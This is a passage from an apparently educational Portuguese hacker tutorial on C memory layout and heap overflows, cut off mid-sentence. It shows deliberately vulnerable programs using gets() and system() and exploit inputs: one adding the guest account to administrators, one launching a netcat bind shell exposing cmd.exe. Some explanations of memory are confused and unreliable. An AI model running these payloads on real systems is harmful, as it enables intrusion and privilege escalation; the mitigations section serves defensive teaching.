regisao '.BSS', o comum e' usarmos heap overflow p/ sobrescrever os enderecos de memoria na regiao .BSS "longe" de seus "limites", pois ainda existe a possibilidade de manipulacao de colisoes entre heap e stack, mas nao e' o foco deste texto descrever tal tecnica. A regiao '.TEXT' armazena o codigo do programa em assembly, codigos esses que sao representacoes diretas das instrucoes de maquina, instrucoes essas que por sua vez sao nomeadas de Operational Codes - Codigos Operacionais, ou simplesmente "OpCodes" . Exemplo: OpCode Assembly 90 NOP O NOP e' convertido em 90 ("Instrucao de maquina"). '90' e' um set instruction (Na linguagem de programacao "Assembly") em formado OpCode, e esta em hexadecimal, e equivale a 1 byte, como tantas outras, tal como MOV. Essas instrucoes equivalem a 1 byte porque dois digitos em hexadecimal equivalem a 8 bits. Para denotarmos valores hexadecimais utilizamos a notacao '\x' (especificador de constantes hexadecimais em C) dentro da string. "\x41" <-- A "\x42" <-- B "\x43" <-- C -- cut -- #include main (){ printf ("%c, %c e %c\n", 0x41, 0x42, 0x43); } -- cut -- Resultado: A, B e C -- cut -- #include main (){ printf ("%x, %x e %x\n", 'A', 'B', 'C'); } -- cut -- Resultado: 41, 42 e 43 O processador trabalha em nivel hexadecimal/opcodes, e a base numerica utilizada pelo processador para enderecamento na memoria obviamente que tambem e' essa. Abaixo voce podera' ver um layout de memoria classico para processos. +-------------------+ | | <----+ | Stack (Pilha) | | | | | + | + | | | | | | V | | | | | < > | | | | | ^ | | | | | | + | + | | | | | Heap | | | | | +-------------------------+ +-------------------+ +-----< Classical Memory Layout | | Variaveis globais | | | ======================= | +-------------------+ | +-------------------------+ |Codigo do programa | <----+ +-------------------+ Como citei anteriormente, lhe dizer a disposicao fisica global de memoria, nao e' possivel, pois memoria varia de acordo com as implementacoes do C/Compilador, CPU e "ambiente". Esse e' o modelo ideal para termos em mente. A regiao 'Codigo do Programa' armazena o codigo executavel do programa. Na regiao "variaveis globais" e' onde todas as variaveis globais sao armazenadas. A area 'Stack' e' a responsavel por salvar o endereco de retorno das subrotinas, passar parametros para funcoes, criar variaveis locais, etc. A heap e' a area responsavel por armazenar dados alocados dinamicamente, e enderecos de variaveis esticas (static). Como voce pode perceber atraves das setas neste diagrama acima, os ponteiros Heap e Stack gravam dados convergindo em sentido as suas respectivas areas de alocacao de memoria disponiveis, podendo ocasionar colisoes, pois essas areas gravao dados convergindo para a mesma direcao, a stack grava dados a partir do maior endereco (0xffffffff) para o menor (0x00000000) e a Heap faz o oposto, partindo do menor endereco (0x00000000) para o maior 0xffffffff. 4.0 - Entendendo os enderecos de memoria Vou falar primeiramente da unidade de base 16, ou seja, o hexadecimal. Tomarei como exemplo a base decimal. 0 1 2 3 4 5 6 7 8 9 Observe que o 9 e' o ultimo numero da dezena, depois os numeros comecarao a ser repetidos. Nesse caso o 1 (10). Observe que comecei do 0, pois para representar o 10 precisei inserir o 1 ao lado do '0'. A base 16 e' a base numerica utilizada para enderecamento na memoria, a base hexadecimal propriamente dita. A memoria de qualquer computador e' dividida em "segmentos", cada seguimento tem 64k de tamanho. Veja a tabela: +---+-----------------------------------------------------------+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F | +---+-----------------------------------------------------------+ | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | | | | | | | | +_--------------------------------------+ V V V V V V | | | 10| 11| 12| 13| 14| 15| | +_---------------------_+ | +-- > A memoria comeca a ser escrita a partir do endereco 0 em cada seguimento, assim fazendo o '0' ser o 1 e o F ser o 16. Isso quando estamos nos referindo a memoria do sistema. Um outro exemplo: Para contagem: +---> Os numeros comecam a ser repetidos em hexa | 2044 = 7FC | 1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 <--- Hexadecimal 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <--- Decimal Para enderacamento: 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B... | +--> 16 Quando fazemos calculos com valores hexadecimais nao podemos usar o '0' para representar o 1, apenas em enderecamento. 1024 bytes = 1 KB. Para saber quantos bytes existem dentro de determinado numero de KBs, faca isso: 1024 bytes * 64K = 65536 bytes Digite FFFF em 'Hex' na calc.exe e logo em seguida mude para 'Dec', vera 65535. A calcu- ladora nao conta '0', mas no nosso calculo acima existe o '0' porque '1024' bytes * '64'k equivalem e 6553'6' bytes. Como voce pode notar a memoria comeca a ser escrita a partir do endereco 0. Sempre multiplique o numero de KBs por '1024' que representara os bytes. Tendo em vista que 8 bits equivalem a 1 byte, para sabermos quantos bits existem dentro de um determinado numero de bytes, basta multiplicarmos o numero de bytes por 8, que e' o numero de bits. Veja: 2 bytes * 8 bits = 16 bits O programa abaixo exibe onde os dados inseridos por nos sao gravados na memoria. -- I_love.c -- #include #include #include int main (int argc, char **argv){ char heaven[777]; if (argc != 2){ fprintf (stderr, "Use: %s \n", *(argv+0)); exit (-1);} memcpy (&heaven, *(argv+1), sizeof (heaven)); fprintf (stdout, "Welcome to Heaven %s\n\n", *(argv+1)); puts ("This is your heaven\n"); int Te_amo=0; for (Te_amo;Te_amo<=strlen (heaven);Te_amo+=1){ printf ("%X -> %c\n", &heaven[Te_amo], heaven[Te_amo]);} return (0);} -- cut -- 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ gcc -o love I_Love.c 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love Use: ./love 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love David Welcome to Heaven David This is your heaven BFA69E73 -> D BFA69E74 -> a BFA69E75 -> v BFA69E76 -> i BFA69E77 -> d BFA69E78 -> 6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ Compilarei e executarei este mesmo programa no windows, repare nos enderecos de memoria: C:\Documents and Settings\David>gcc c:\I_Love.c -o love C:\Documents and Settings\David>love.exe Use: love.exe C:\Documents and Settings\David>love.exe "<->6_Bl4ck9_f0x6<->" Welcome to Heaven <->6_Bl4ck9_f0x6<-> This is your heaven 22FC60 -> < 22FC61 -> - 22FC62 -> > 22FC63 -> 6 22FC64 -> _ 22FC65 -> B 22FC66 -> l 22FC67 -> 4 22FC68 -> c 22FC69 -> k 22FC6A -> 9 22FC6B -> _ 22FC6C -> f 22FC6D -> 0 22FC6E -> x 22FC6F -> 6 22FC70 -> < 22FC71 -> - 22FC72 -> > 22FC73 -> C:\Documents and Settings\David> Como foi anteriormente citado, os dados sao gravados na memoria a patir do endereco '0' a 'F'. Observe que a primeira letra da string <->6_Bl4ck9_f0x6<-> e' salva no endereco 22FC60, essa faixa se inicia com '0' e vai ate' o 'F' (22FC6F -> 6), depois o valor volta a ser '0' ( 22FC70 -> < ), pois em hexadecimal o maior numero e' F. Repare que o numero a esquerda era 6 (22FC'6'F), quando uma linha de endereco chega a F, alem deste endereco voltar a ser 0, o numero que esta' ao lado deste, e' incrementado (Neste caso), ou seja, 22FC'7'0. Existem implementacoes que salvam dados do maior endereco (0xffffffff) para o menor (0x00000000 <- Nao chega ate' aqui porque o sistema tambem usa memoria, as- sim fechando o programa.) e vice-versa. A maneira de alocacao de dados para variaveis na memoria varia muito, os fatores que interferem nesse caso ja fora citados (Compilador/C, Plataforma, etc...). A stack armazena dados do maior endereco ate' o menor, ou seja, o programa "tende" a chegar ao endereco 0x00, mas isso e' impossivel pois estes enderecos iniciais sao reservados para o sistema, assim ocasionando o imediato fechamento da apli- cacao violadora. Para nos referirmos a enderecos de memoria devemos especificar que se trata de valores hexadecimais, portanto devemos especificar o '0x' (notacao utilizada como desinencia para algarismos em hexadecimal). Veja: main (){ printf ("%d", 0xA); } Resultado: 10 No exemplo acima (I_love.c), matrizes de caracteres ("strings") sao armazenadas em ende- recos sequenciais/continuos. Em hardware de 32 bits uma faixa de memoria cheia e' equiva- lente ao hexadecimal 0xffffffff, pois dois digitos hexa equivalem a um byte ('8' bits), a faixa de enderecos acima possui '8' digitos em hexa, isso e' igual a 4 bytes, 32 bits. Em hardware de 16 bits um numero inteiro ocupa 2 bytes na memoria porque 0xffff e' o maior endereco em hardware de 16 bits, tendo em vista que uma variavel do tipo int ocupa uma faixa intEIRA na memoria. Cada tipo de variavel ocupa uma quantidade de dados na memoria. Um caractere (char) ocupa apenas 1 byte na memoria, uma variavel do tipo int, ja citada, ocupa quatro bytes contiguos (Hardware de 32 bits), uma variavel do tipo long tambem ocupa 4 bytes, double 8 bytes, etc. Um ponteiro sempre tera' o tamanho de 4 bytes em hardwares de 32 bits, nao importa o seu tipo. Voce podera' ver a quantidade de bytes que uma variavel ocupa no seu sistema usando o operador sizeof(). #include main (){ printf ("char : %d byte\n", sizeof (char)); printf ("int : %d bytes\n", sizeof (int)); printf ("float : %d bytes\n", sizeof (float)); printf ("double : %d bytes\n", sizeof (double)); printf ("int pointer : %d bytes\n", sizeof (int *)); printf ("double pointer : %d bytes\n", sizeof (double *)); } Resultado: sh-3.1$ gcc len.c sh-3.1$ ./a.out char : 1 byte int : 4 bytes float : 4 bytes double : 8 bytes int pointer : 4 bytes double pointer : 4 bytes Para uma melhor compreensao, darei um exemplo de alocacao de memoria para armazenar determinados tipos de variaveis, usando enderecos ficticios. -- corte aqui -- main (){ int numero=5; char letra='C';} -- cut here -- 0x00000000 <---- 0x00000001 |_____ Memoria relativa a variavel numero. 0x00000002 | Esses 4 bytes armazenam o numero 5. 0x00000003 <---- 0x00000004 0x00000005 0x00000006 0x00000007 0x00000008 0x00000009 0x0000000A 0x0000000B 0x0000000C 0x0000000D 0x0000000E 0x0000000F 0x00000010 <--------- Uma variavel do tipo char ocupa 1 byte na memoria 0x00000011 (0x00000010). O indice de matrizes em C e' '0' p/ referenciar o primeiro elemento da matrix porque matrizes sao alocadas a partir do endereco 0 na memoria (como visto). (...) FFFF FFFF = 4 bytes 1234 5678 +------<>----------------------<>-------------<>------------+ 0x00000000 <---- |Esse e' o espaco reservado para uma variavel inteira em | 0x00000001 |_____ |hardware de 32 bits. Cada faixa dessa equivale a 1 byte. | 0x00000002 | |Repare que um int equivale a 4 bytes nesse exemplo porque | 0x00000003 <---- |o endereco de memoria maximo e' 0xffffffff (8 algarismos | |em hexadecimal... 4 bytes). | +------<>----------------------<>-------------<>------------+ Como havia citado acima, as areas de memoria reservadas para matrizes costumam ser reservadas para alocacao a patir do endereco 0, por isso o indice em C e' '0'. Veja um exemplo com matrizes de caracteres (strings): -- Hundred.c -- #include int main (void){ char str1[]="My"; char str2[]="name"; char str3[]="is"; char str4[]="David"; int indice=0; for (indice;indice<=strlen (str1);indice+=1) printf ("%X -> %c\n", &str1[indice], str1[indice]); for (indice=0;indice<=strlen (str2);indice+=1) printf ("%X -> %c\n", &str2[indice], str2[indice]); for (indice=0;indice<=strlen (str3);indice+=1) printf ("%X -> %c\n", &str3[indice], str3[indice]); for (indice=0;indice<=strlen (str4);indice+=1) printf ("%X -> %c\n", &str4[indice], str4[indice]); return (0);} -- cut -- C:\>Hundred.exe 22FF60 -> M 22FF61 -> y 22FF62 -> <-- \0 Terminador de string 22FF50 -> n 22FF51 -> a 22FF52 -> m 22FF53 -> e 22FF54 -> <-- \0 22FF40 -> i 22FF41 -> s 22FF42 -> <-- \0 22FF30 -> D 22FF31 -> a 22FF32 -> v 22FF33 -> i 22FF34 -> d 22FF35 -> <-- 0 Repare que essas matrizes sao todas alocadas umas proximas das outras. Quando nao existe mais dados em uma determinada matriz entao a "matriz" vizinha e' alocada na memoria, e como voce pode perceber, a memoria procura o endereco seguinte que tenha '0' disponivel e aloca a segunda matriz e assim por diante. Observe os enderecos no Linux: -- cut this file here -- #include main (){ char letra='M'; int numero=5; double alundra=10.5; float *pointer; printf ("Endereco de letra : %p\n", &letra); printf ("Endereco de numero : %p\n", &numero); printf ("Endereco de alundra: %p\n", &alundra); printf ("Endereco de pointer: %p\n", &pointer); } -- cut here -- sh-3.1$ gcc Minority.c -o minory sh-3.1$ ./minory Endereco de letra : 0xbfbe2ddf Endereco de numero : 0xbfbe2dd8 Endereco de alundra: 0xbfbe2dd0 Endereco de pointer: 0xbfbe2dcc sh-3.1$ Veja que nao existe uma sequencia nos enderecos, isso se deve ao fato de uma memoria RAM - Ramdom Access Memory - Memoria de Acesso Aleatorio, como o proprio nome sugere, escrever em qualquer endereco de memoria disponivel para alocacao de forma aleatoria. No modelo de memoria que utilizaremos como "pista" para a exploracao os dados sao alocados/gravados na Heap em enderecos de memoria contigua, como as matrizes. A memoria anteriormente vista e' a memoria virtual, e como voce pode notar o esquema de enderecamento da mesma e' bastante simples, cada processo/programa possui um endereco na memoria virtual (como ja visto, parte de 0x00000000 em direcao a 0xffffffff), o que acontece e' que esse endereco e' mapeado para a memoria fisica no momento da execucao do processo. O limite maximo de memoria virtual para cada processo e' de dois GB (Giga bytes), como tambem ja citado o sistema tambem usa memoria virtual, ou seja, se utiliza de uma parte desses bytes virtuais. Como voce podera' claramente notar em qualquer debugger, a stack tambem faz parte da memoria virtual porque ela tambem e' enderecavel usando o esquema acima (0x00000000 a 0xffffffff). Mesmo o endereco virtual sendo convertido em endereco fisico na execucao do programa (Copia do mesmo para a memoria), nao devemos de forma alguma pre-julgar que o mesmo seja representante direto e estatico para cada pedaco da memoria fisica, porque a memoria virtual e' muito relativa, isso quer dizer, que uma variavel pode estar armazenada em um determinado endereco virtual, mas nada impede que outra variavel tambem esteja armazenada neste mesmo endereco virtual, o que acontece de fato e' que no momento da execucao do programa a memoria virtual mapeia os dados de cada uma para uma parte diferente na memoria fisica. Apesar de um programa nao compartilhar "literalmente" sua memoria virtual com outro, isso nao e' regra. 5.0 - Overview sobre alocacao dinamica e o utilizacao de static Alocacao dinamica como o proprio nome ja da a entender, nada mais e' que voce alocar/reservar memoria para determinadas constantes que sao passadas pelo usuario do programa em tempo de execucao (O termo tempo de execucao refere-se a eventos gerados durante a execucao de um pro- grama). Uma das funcoes em C utilizada para tal se chama 'malloc()', citada por se tratar da principal. Veja uma declaracao tradicional de ponteiro do tipo 'char': char *pointer; Esse ponteiro nao possui um limite para alocacao de dados definido, vou "mallocar"/alocar memoria para o mesmo e apos isso ele "pode armazenar" 5 bytes na memoria, veja: pointer=(char *)malloc (sizeof (char) * 5); O operador 'sizeof()' retorna um tamanho de variaveis, matrizes ou tamanho de tipos, ou seja, 1 * 5, tendo em vista a disponibilidade para armazenagem de um byte para variaveis declaradas com o especificador 'char'. Como estamos lidando com o valor de "retorno" do operador sizeof() precisaremos de um typecast '(char *)', que utilizado indica que os dados que serao posteriormente alocados no ponteiro sao bytes para caracteres, ou seja, o valor de "retorno da malloc()" sera' convertido em 'char', pois o ponteiro *pointer e' do tipo char. Vamos a um exemplo de alocacao de dados e "controle" dos mesmos ao serem passados para o ponteiro. -- cut -- #include #include #define says printf main (int argc_d, char **argv_d){ if (argc_d != 2){ says ("Uso: %s ",*(argv_d)); exit (-1);} if (strlen (*(argv_d+1)) > 5){ fprintf (stderr, "Seu nome possui mais de 5 letras\n"); return 0;} char *pointer; pointer=(char *)malloc (sizeof (char) * 5); strncpy (pointer, *(argv_d+1), 0x05); says ("Oi "); puts (pointer); free (pointer); // A funcao 'free()' libera a memoria alocada } -- cut -- Result in the windows: C:\>mac.exe Uso: mac.exe C:\>mac.exe David Oi David C:\>mac.exe David2 Seu nome possui mais de 5 letras C:\> O argumento inteiro da funcao malloc() reserva dados na area 'Heap' no modelo usual de memoria utilizado. Observe abaixo um outro exemplo de alocacao dinamica em C. char *strdup (const char *string); O que essa funcao faz e' basicamente alocar espaco na memoria referente a "string" e depois retornar um ponteiro para a tal. Essa funcao faz o mesmo que o malloc(), o que difere as duas e' que ao inves de alocarmos memoria com o 'malloc()' e nos utilizarmos de funcoes auxiliares para copia de dados, usamos o strdup() que aloca e copia os dados de uma unica vez. -- cut -- main (){ char *pointer; pointer= strdup ("Simples string"); /* Retorna a string devidamente alocada */ puts (pointer); // Imprime a string na shell free (pointer); // Libera a memoria alocada (Na heap) } -- cut -- Com relacao ao static: static char buffer[10]; Ira' alocar 10 bytes tambem "na heap", pois variaveis declaradas como estaticas, alocam espaco nessa regiao. Recordaremos agora o Stack Overflow (simples overview). -- quote -- .... char variavel[7]; < --- > tipo variavel[buffer]; Cada caractere que uma variavel do tipo char armazena equivale a 1 byte, a string "luzinha" contera' um total de 7 bytes sem contar com o terminador de string ('\0'). Sempre temos que reservar um byte no buffer para o terminador nulo (\0), ou seja: char variavel[8] = "luzinha\0"; Definimos acima que a variavel de nome 'variavel' sera' do tipo char e reservara' 8 bytes, ou seja, a variavel teria um buffer ( local de armazenamento na memoria ) responsavel por comportar 8 caracteres, pois cada caractere equivale a 1 byte. Caso aja a insercao de mais dados que um buffer pode suportar aparentemente nao acontece nada, pois o programa podera' aceitar (Nao exibira' nenhum alerta de erro, para ser mais especifico), mas ocorre o chamado buffer overflow, ou simplesmente, estouro de buffer, ocasionando a reescritura da area de memoria reservada para a variavel na stack. Exemplo: -------- overflow.c -------- #include main (void){ char str[3]; printf ("Estoure meu buffer [size buffer:3]:"); gets (str); printf ("%s",str);} ---------- cut ---------- Resultado: C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal) ab C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas nao existe emissao de alerta pelo sistema. 1234567891011 C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer Devido ao numero excessivo de bytes inseridos na memoria acabamos por alcansar o endereco de retorno na stack e o Windows XP SP1 emitiu a seguinte mensagem: O overflow.exe encontrou um problema e precisa ser fechado. -- corte aqui -- Ja que na Heap os enderecos sao armazenados em locais contiguos se desenvolvermos uma aplicacao que reserva memoria em uma regiao da Heap e nessa mesma aplicacao conter outra instrucao que tambem aloca memoria na mesma, os dados serao armazenados um apos o outro. Exemplo de alocacao de 10 bytes na Heap: char *pointer; pointer=(char *)malloc (10); Reservo mais 10: char *pointer2; pointer2=(char *)malloc (10); Estarao em enderecos visinhos na memoria. Veja um outro exemplo compilado sobre a plataforma Windows. -- cut -- #include main() { char *pt1, *pt2; pt1 = (char *) malloc (10); pt2 = (char *) malloc (8); system ("cls"); strcpy (pt1, "012345678"); strcpy (pt2, "1234567"); int i=0; fprintf (stdout, "\nCaractere --- Endereco Virtual\n\n"); for (i;i<= strlen (pt1);++i) printf ("%c --> %x\n", pt1[i], &pt1[i]); puts (""); for (i=0;i<= strlen (pt2);++i) printf ("%c --> %p\n", pt2[i], &pt2[i]); } -- cut -- Caractere --- Endereco Virtual 0 --> 3d24b0 1 --> 3d24b1 2 --> 3d24b2 3 --> 3d24b3 4 --> 3d24b4 5 --> 3d24b5 6 --> 3d24b6 7 --> 3d24b7 8 --> 3d24b8 --> 3d24b9 1 --> 003D2448 2 --> 003D2449 3 --> 003D244A 4 --> 003D244B 5 --> 003D244C 6 --> 003D244D 7 --> 003D244E --> 003D244F C:\>_ Dois detalhes seguem agora: O %p nos mostra os enderecos ('VIRTUAIS') de memoria em um formato completo (0x00000008), enquanto o %x apenas mostra os enderecos de memoria virtual "utilizados". O outro: -- cut -- #include main() { char *pt1; pt1 = (char *) malloc(sizeof (char) * 10); // Se a malloc() nao conseguir alocar o numero de bytes na memoria ela retorna um NULL (0) if (!pt1){ fprintf (stderr, "Memoria insuficiente\n"); exit (-1);} fprintf (stdout, "\n\"Caractere\" -- Endereco Virtual\n\n"); strcpy (pt1, "138ABCJ"); int i=0; for (i;i<=strlen (pt1);++i) printf ("%c --> %x\n", pt1[i], &pt1[i]); } -- cut -- Resultado: C:\>heap "Caractere" -- Endereco Virtual 1 --> 3d24b0 3 --> 3d24b1 8 --> 3d24b2 A --> 3d24b3 B --> 3d24b4 C --> 3d24b5 J --> 3d24b6 --> 3d24b7 C:\>_ Note que nao existe sequencia nos enderecos virtuais por razoes ja descritas, pois a sequencia nos enderecos sao referentes a memoria fisica referente a regiao heap, onde os enderecos sao armazenados de forma continua, na memoria virtual apenas existe uma sequencia explicita em enderecos virtuais de matrizes. Como pode ser observado o 'E' comercial ('&') escrito no codigo fonte acima 'retorna' o endereco de memoria de variaveis, enderecos esses que serao lidos (%x). O 'Estouro de Heap' ocorre de forma similar ao stack overflow, o que difere e' que ao inves de inserirmos mais dados do que foram reservados para uma variavel na stack, inserimos mais dados que um ponteiro "mallocado" pode armazenar, e isso faz com que estouremos os limites de memoria reservada para um ponteiro e assim alcansando os endereco dos ponteiros que foram mallocado vizinhos ao primeiro. O nome Heap Overflow *Transbordar de Heap* nada mais e' que uma alusao ao fato de "estourarmos/transbordarmos" os enderecos de memoria de um ponteiro mallocado na heap, pois os dados alocados ('mallocados()') dinamicamente na memoria, ficam nesta area, junto com as variaveis estaticas. Para ver enderecos "fisicos" de uma variavel ou matriz o codigo de controle %d em C. Imagine um programa que aloca dois ponteiros na memoria, esse mesmo programa pega dados digitados pelo usuario e copia os mesmos para o primeiro ponteiro, o segundo ponteiro e' usado para executar um comando do 'sistema logo apos a copia de dados para o primeiro ponteiro, esse segundo ponteiro ou variavel estatica e' mallocado depois do primeiro na heap, se nos enchermos o primeiro ponteiro de dados vamos alcancar o endereco do segundo ponteiro, no qual contem um comando do sistema (Por exemplo). Para encontrarmos esse tipo de falha basta inserirmos ao 'pt1' dados fazendo com que os mesmos transbordem a regiao de memoria referente numeros de bytes reservados, e ao termino disto, escreve- mos um comando qualquer, isso significa que estaremos escrevendo no endereco onde fica armazenado o comando depois de "estourar" a Heap ate' alcancarmos o endereco da instrucao que sera' executada pela funcao system(), isso faz com que 'system()' acabe por executar o que inserirmos. Se esta mesma aplicacao trabalhar com SetUID entao executamos comandos com os privilegios do dono do programa. Demonstrarei um exemplo de exploracao simples, no qual sobrescrevemos "ponteiros". Exemplo I.: Sobrescrevendo pointers. -- cut -- #include #include main (){ char *pointer_one; char *pointer_two; pointer_one= (char *) malloc (10); pointer_two= (char *) malloc (10); system ("cls & color a"); printf ("Endereco fisico de pointer_one: %d\n", pointer_one); printf ("Endereco fisico de pointer_two: %d\n", pointer_two); puts (""); fprintf (stdout, "Endereco virtual de pointer_one: %p\n", &pointer_one); fprintf (stdout, "Endereco virtual de pointer_two: %p\n", &pointer_two); sprintf (pointer_two, "echo Bem vindo a %s irmao", "Matrix"); puts ("\nMe diga seu nome:"); gets (pointer_one); system (pointer_two); } -- cut -- Execucao normal do programa: Endereco fisico de pointer_one: 4007096 Endereco fisico de pointer_two: 4007120 Endereco virtual de pointer_one: 0022FF74 Endereco virtual de pointer_two: 0022FF70 <--- Ponteiro ocupa 4 bytes na memoria. Me diga seu nome: David Bem vindo a Matrix irmao C:\> Observe os enderecos acima. 4007096 --> pointer_one 4007120 --> pointer_two A heap armazena dados do menor endereco para o maior nesse caso. Veja que o primeiro ponteiro declarado foi a pointer_one, portanto ele que sera' alocado primeiro. Repare agora que o pointer 'pointer_two' se inicia exatamente 24 bytes dpois do buffer1. 4007096 + 24 = 4007120 (4007120 e' o endereco de pointer_two) "Nos" ao escrevermos o codigo do programa nao reservamos/mallocamos 24 bytes na memoria, na verdade apenas malocamos na heap 10 bytes, o que acontece e' que esses 14 bytes adicionais sao usados pela syscall (chamada de sistema) 'malloc' para permitir que a memoria retorne ao uso geral quando a mesma for liberada ('free()'), esses bytes extras variam de acordo com o ambiente. Agora vamos a exploracao. C:\>call heap_overflow.exe Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 Endereco virtual de pointer_one: 0022FF74 Endereco virtual de pointer_two: 0022FF70 Me diga seu nome: Meu nome e 6_Bl4ck9_f0x6net localgroup administradores convidado /add Comando concluído com êxito. C:\>net localgroup administradores Nome de alias administradores Comentário Membros ------------------------------------------------------------------------------- Administrador Convidado David Comando concluído com êxito. C:\> O comando 'net localgroup administradores convidado /add' e' o comando que eleva os privilegios da conta de convidado, nesse caso. 'net' (digite net /?' para ver um leque de possibilidades que o windows dispoe) localgroup (parametro do utilitario 'net' que visualiza e modifica informacoes sobre grupos) administradores (Grupo de 'admins') convidado (nome da conta que pretendo inserir no grupo de admins) /add addiciona o user convidado ao grupo de administradores. Repare no seguinte: Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 O pointer2 comeca 24 bytes depois do primeiro, entao se digitarmos mais de 24 caracteres (cada um equivalente a 1 byte) transbordaremos os enderecos na Heap. Um exeplo mais explicativo: Meu nome e 6_Bl4ck9_f0x6net... 0123456789ABCDEF01234567 Meu nome e 6_Bl4ck9_f0x6net... 123456789'123456789'1234 ^________^^________^^__^ | | || 10 bytes 10 bytes 4 bytes = 24. O 'n' estara' no endreco do comando. Bem, ja que sabemos que a funcao system() executa o comando que esta' no endereco 4007128, que esta' localizado ao lado do pointer_one, "ja que o mesmo foi declarado depois deste", entao nos alcancamos o endereco de memoria deste sem misterio. Fuzzing 'TRADICIONAL' em aplicacoes para descobertas de falhas de heap overflow ocorrem de maneira similar ao pro- cesso de fuzzing em aplicacoes que se utilizam da stack, ou seja, se "debugarmos" uma aplicacao que executa uma determinada acao no sistema se utilizando de system(), 'execl()' ou alguma outra syscall similar que executa comandos 50 bytes (por exemplo) depois do primeiro ponteiro declarado, basta corrompermos a memoria ate' encostarmos no endereco do comando como usual. Veja um exemplo: -- heap_bug.c -- #include #include main (){ char *pointer_1, *pointer_2, *pointer_3, *pointer_4, *pointer_5; pointer_1 = (char *) malloc (10); pointer_2 = (char *) malloc (10); pointer_3 = (char *) malloc (10); pointer_4 = (char *) malloc (10); pointer_5 = (char *) malloc (10); system ("cls & color a"); printf ("Endereco fisico de pointer_one: %d\n", pointer_1); printf ("Endereco fisico de pointer_5 : %d\n", pointer_5); puts (""); sprintf (pointer_5, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); gets (pointer_1); system (pointer_5); } -- cut here -- Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_5 : 4007200 Me diga seu nome: Meu nome eh 6_Bl4ck9_f0x6 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! '!!!!!!!' não é reconhecido como um comando interno ou externo, um programa operável ou um arquivo em lotes. C:\Documents and Settings\David> Voltaremos !!!!!!! (7) bytes. Volte 7 bytes e digite o comando. Pronto, o programa foi explorado com sucesso. A comunidade de seguranca ja' divulgou diveras vulnerabilidades em aplicacoes famosas como o sendmail que eram vulneraveis a esse tipo de falha. Exploracao atraves de variaveis estaticas: -- cut -- #include #include main (){ static char name[20]; static char command[50]; system ("cls & color a"); printf ("Endereco fisico de name : %d\n", name); printf ("Endereco fisico de command: %d\n", command); puts (""); // To skip a line sprintf (command, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); gets (name); system (command); } -- cut this file here -- Endereco fisico de name : 4210704 Endereco fisico de command: 4210736 Me diga seu nome: 11111111111111111111111111111111nc -l -p 55 -vv -e cmd.exe listening on [any] 55 ... connect to [192.168.1.1] from VIOLATOR [192.168.1.1] 3022 Depois de um 'telnet IP PORTA': Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David> Imagine insercoes de linhas no inetd nos Unixes com o comando 'echo'. Pois os privilegios do programa tem muita probabilidade de ser de usuario root. Existem muitos sysops que se utilizam do netcat como cliente para conexoes e inclusives distribuicoes Linux que dispo- nibilizam o mesmo por default. Existem muitas formas de protecao, apenas uma sera' descrita nesse documento. Observe que ao invez da utilizacao da funcao 'gets()' para a obtencao e repasse de dados de usuarios para as variaveis, podemos utilizar a 'fgets()' para tal, pois 'gets()' nao faz controle algum do numero de bytes a serem repassados para a area de memoria reservada para a variavel. Pequena tabela de funcoes perigosas e de funcoes que substituem as tais. +-------------------+-------------------------------------------+ |Funcoes "perigosas"| Suposta solucao | +-------------------+-------------------------------------------+ | sprintf() | snprintf(destino, numero_bts, origem); | +-------------------+-------------------------------------------+ | gets() |char *fgets (char *str, int len, FILE *pt);| +-------------------+-------------------------------------------+ | scanf() | Use especificadores de tamanho!! | +-------------------+-------------------------------------------+ | strcpy() | strncpy() | +-------------------+-------------------------------------------+ | strcat() | strncat() | +-------------------+-------------------------------------------+ Todas as funcoes que copiam dados sao perigosas, e cabe a voce, se utilizar de funcoes seguras para controle dos dados que serao copiados. Observe: -- cut -- #include #include main (){ static char name[20]; static char command[50]; system ("cls & color a"); printf ("Endereco fisico de name : %d\n", name); printf ("Endereco fisico de command: %d\n", command); puts (""); // To skip a line sprintf (command, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); fgets (name, 5, stdin); // <--- Note system (command); } -- cut -- Me diga seu nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Bem vindo a Matrix! C:\> Ele vai copiar apenas 5 bytes para a variavel estatica 'name', impedindo a exploracao deste programa. 6.0 - Entendendo o SetUID O UID nada mais e', como o proprio nome ja da a entender (User IDentifier - IDentificador de Usuario ou User IDentification - IDentificacao de usuario), um identificador de usua- rios, todos os usuarios devidamente cadastratos em sistemas Unix/Linux possuem seu pro- prio UID. O UID e' um numero frequentemente checado pelo Kernel (Nucleo do sistema) antes de fazer determinadas operacoes. O UID '0' equivale a usuario root no Linux. Quando que- remos adicionar um usuario no sistema por exemplo, o kernel verifica qual e' o 'UID' do usuario que emitiu o comando adduser por exemplo (Comando p/ addicionar usarios ao siste- ma), se ele checar o UID 0, ele deixar o 